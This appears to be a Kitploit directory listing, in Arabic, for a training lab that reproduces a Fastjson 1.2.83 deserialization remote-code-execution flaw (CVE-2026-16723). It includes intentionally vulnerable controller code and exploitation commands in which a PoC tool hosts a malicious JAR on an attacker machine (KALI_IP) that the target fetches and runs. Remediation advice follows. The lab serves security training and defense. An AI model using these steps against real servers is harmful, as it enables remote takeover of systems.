Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
fastjson-rce-lab — Fastjson 1.2.83 RCE بيئة التدريب (CVE-2026-16723) | Kitploit
أدوات/GitHubGitHub/why-success/fastjson-rce-lab
تحليل الثغرات الأمنيةاستغلال تطبيقات الويبCTFالتعلم والتعليممختبرات وتدريب عملي
GitHubwhy-success/fastjson-rce-lab

fastjson-rce-lab

Fastjson 1.2.83 RCE بيئة التدريب (CVE-2026-16723)

عرض المستودع
3منذ 24 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

بيئة مختبر Fastjson 1.2.83 RCE (CVE-2026-16723)

إخلاء مسؤولية: هذا المختبر مخصّص فقط للبحث الأمني والعروض التعليمية وبناء الدفاعات في بيئات مصرّح بها. قد يكون اختبار أهداف غير مصرّح بها غير قانوني، وتقع مسؤولية العواقب على المستخدم.

نظرة عامة على الثغرة

المشروعالمحتوى
CVECVE-2026-16723 (CVSS 9.0)
الإصدارات المتأثرةFastjson 1.2.68 ~ 1.2.83
نوع الثغرةتنفيذ كود عن بُعد عبر إلغاء التسلسل (RCE)
السمة الأساسيةGadget-free (لا تعتمد على أي مكتبات طرف ثالث)
شروط RCE الكاملةJDK 8 + Spring Boot Fat-JAR + تعطيل SafeMode

شرح بيئة المختبر

  • Fastjson 1.2.83

    • تعطيل SafeMode (الحالة الافتراضية)
  • تعبئة Spring Boot fat-JAR (يتضمن LaunchedURLClassLoader، وهو مكوّن ضروري لسلسلة الاستغلال)

  • سطر رئيسي مُعدّل: يستدعي ParseController الدالة JSON.parse() بعد تبديل ClassLoader الخاص بالخيط إلى LaunchedURLClassLoader (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader()))، وهذا شرط أساسي لكي يتمكن مسار اكتشاف @JSONType من تحميل الفئات عن بُعد

  • يوفر المختبر نقطتي تحليل: /parse (JSON.parse) و /parseObject (JSON.parseObject)

متطلبات البيئة

  • JDK 8 (يتطلب RCE الكامل JDK 8؛ أما JDK 9+ فيدعم SSRF فقط دون RCE كامل)
  • نظام التشغيل: Windows / Linux / UOS / macOS جميعها مدعومة
  • الذاكرة: 256MB كحد أدنى من المساحة الحرة

البناء

البناء من المصدر لإنشاء fat-JAR (يتطلب JDK 8 + Maven):

root@kitploit:~
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

الملف الناتج موجود في target/fastjson-rce-lab.jar.

إذا لم يكن Maven مثبتًا، يمكنك استخدام Maven Wrapper المرفق مع المشروع (يتطلب إعداد mvnw مسبقًا).

التشغيل السريع

Windows

root@kitploit:~
# انقر نقرًا مزدوجًا على start.bat
# أو عبر سطر الأوامر
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

root@kitploit:~
chmod +x start.sh
./start.sh

# أو التشغيل اليدوي
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

بخصوص --server.port=18080: قد توجد متغيرات بيئة مثل SERVER__PORT في البيئة المحيطة تتجاوز إعدادات المنفذ في application.properties، لذا فإن فرض المنفذ عبر معاملات سطر الأوامر يضمن صحته (معاملات سطر الأوامر لها الأولوية القصوى).

بخصوص معاملات JVM: المعاملان -Xmx256m -XX:+UseSerialGC مخصصان لتشغيل المختبر على أجهزة افتراضية منخفضة الذاكرة (مثل Kali بذاكرة 2-4G) لتجنب OOM أثناء تهيئة JVM. إذا كانت ذاكرة الجهاز كافية يمكن حذفهما.

التحقق من التشغيل

root@kitploit:~
curl http://127.0.0.1:18080/status

الاستجابة المتوقعة:

root@kitploit:~
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

عندما تكون safeMode: false و vulnerable: true فهذا يعني أن البيئة في حالة قابلة للاستغلال.

شرح النقاط الطرفية

مبدأ الثغرة

root@kitploit:~
1. يرسل المهاجم JSON مخصصًا (يشير @type إلى مسار مورد jar:http)
2. تقوم checkAutoType() في Fastjson بتحويل nameType إلى مسار مورد "typeName.replace('.', '/') + .class" للاكتشاف
3. يطلق getResourceAsStream() استدعاء LaunchedURLClassLoader → إرسال طلب HTTP لسحب JAR عن بُعد
4. يفحص ASM البايت كود، ويعثر على تعليق @JSONType → يعتبره إشارة موثوقة
5. يتجاوز فحص الفئات الأساسية الخطرة → loadClass() → defineClass()
6. يتم تشغيل كتلة التهيئة الثابتة <clinit> → RCE

الكود الرئيسي في المختبر

root@kitploit:~
// ParseController.java — نقطة /parse
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ هذا السطر هو المفتاح: التبديل إلى LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

بدون سطر setContextClassLoader هذا، يستخدم Fastjson AppClassLoader الافتراضي للنظام، ولا يمكنه تحميل الفئات عن بُعد عبر بروتوكول jar:http://.

إعادة إنتاج الاستغلال

الخطوة الأولى: الحصول على أداة PoC

root@kitploit:~
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

الخطوة الثانية: تعديل GenProbe.java (خطوة رئيسية)

ملف poc/GenProbe.java المرفق بالمستودع كان به مشكلتا توافق تم إصلاحهما:

  1. ترميز ثابت /bin/bash -c → تم تغييره إلى إصدار عام باستخدام Runtime.exec(String) (يعمل على Windows/Linux)
  2. صيغة أوامر عبر المنصات: على Windows استخدم "cmd /c xxx"، وعلى Linux استخدم مباشرة "touch /tmp/pwned" أو "bash -c xxx"

الخطوة الثالثة: توليد probe.jar واستضافته

تجد دليل الهجوم الكامل في 靶场测试完整指南.md (في نفس الدليل)، ويتضمن:

  • خطوات الهجوم السبعة الكاملة
  • جدول مرجعي سريع لأوامر كل منصة
  • 6 أخطاء شائعة وطرق استكشافها وإصلاحها

تحقق سريع (مثال على Windows)

root@kitploit:~
# على جهاز المهاجم (أو أي جهاز يمكنه تجميع Java)
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# انسخ poc/www/probe إلى Kali
# ابدأ الاستضافة HTTP على Kali
cd poc/www && python3 -m http.server 19090

# أعد تشغيل المختبر → نفّذ exp من نافذة طرفية جديدة على Kali
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

خطة الإصلاح

إصلاح عاجل: تفعيل SafeMode

root@kitploit:~
# معامل تشغيل JVM
-Dfastjson.parser.safeMode=true
root@kitploit:~
// إعداد عبر الكود
ParserConfig.getGlobalInstance().setSafeMode(true);

إصلاح طويل المدى: الترحيل إلى Fastjson 2.x

root@kitploit:~
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

Fastjson2 غير متأثر بهذه الثغرة.

إجراءات أخرى

  • استخدام إصدار البناء com.alibaba:fastjson:1.2.83_noneautotype
  • منع حركة HTTP الصادرة من خادم التطبيق
  • فحص جميع نسخ Fastjson 1.x المستخدمة في التبعيات

مراجع تقنية

  • إفصاح Kirill Firsov (@k_firsov): https://x.com/k_firsov/status/2078872293745570032
  • مشروع PoC: https://github.com/0x7eTeam/fastjson-1.2.83-rce
  • الإعلان الأمني من Alibaba (2026-07-21)
  • النشرة الأمنية من Tencent Cloud (2026-07-20)
تنزيل الأداة
الطريقةالمسارالوصف
GET/الصفحة الرئيسية للمختبر (HTML)
GET/statusحالة إعدادات Fastjson (JSON)
POST/parseJSON.parse(body) — نقطة الاستغلال الرئيسية
POST/parseObjectJSON.parseObject(body) — نقطة استغلال احتياطية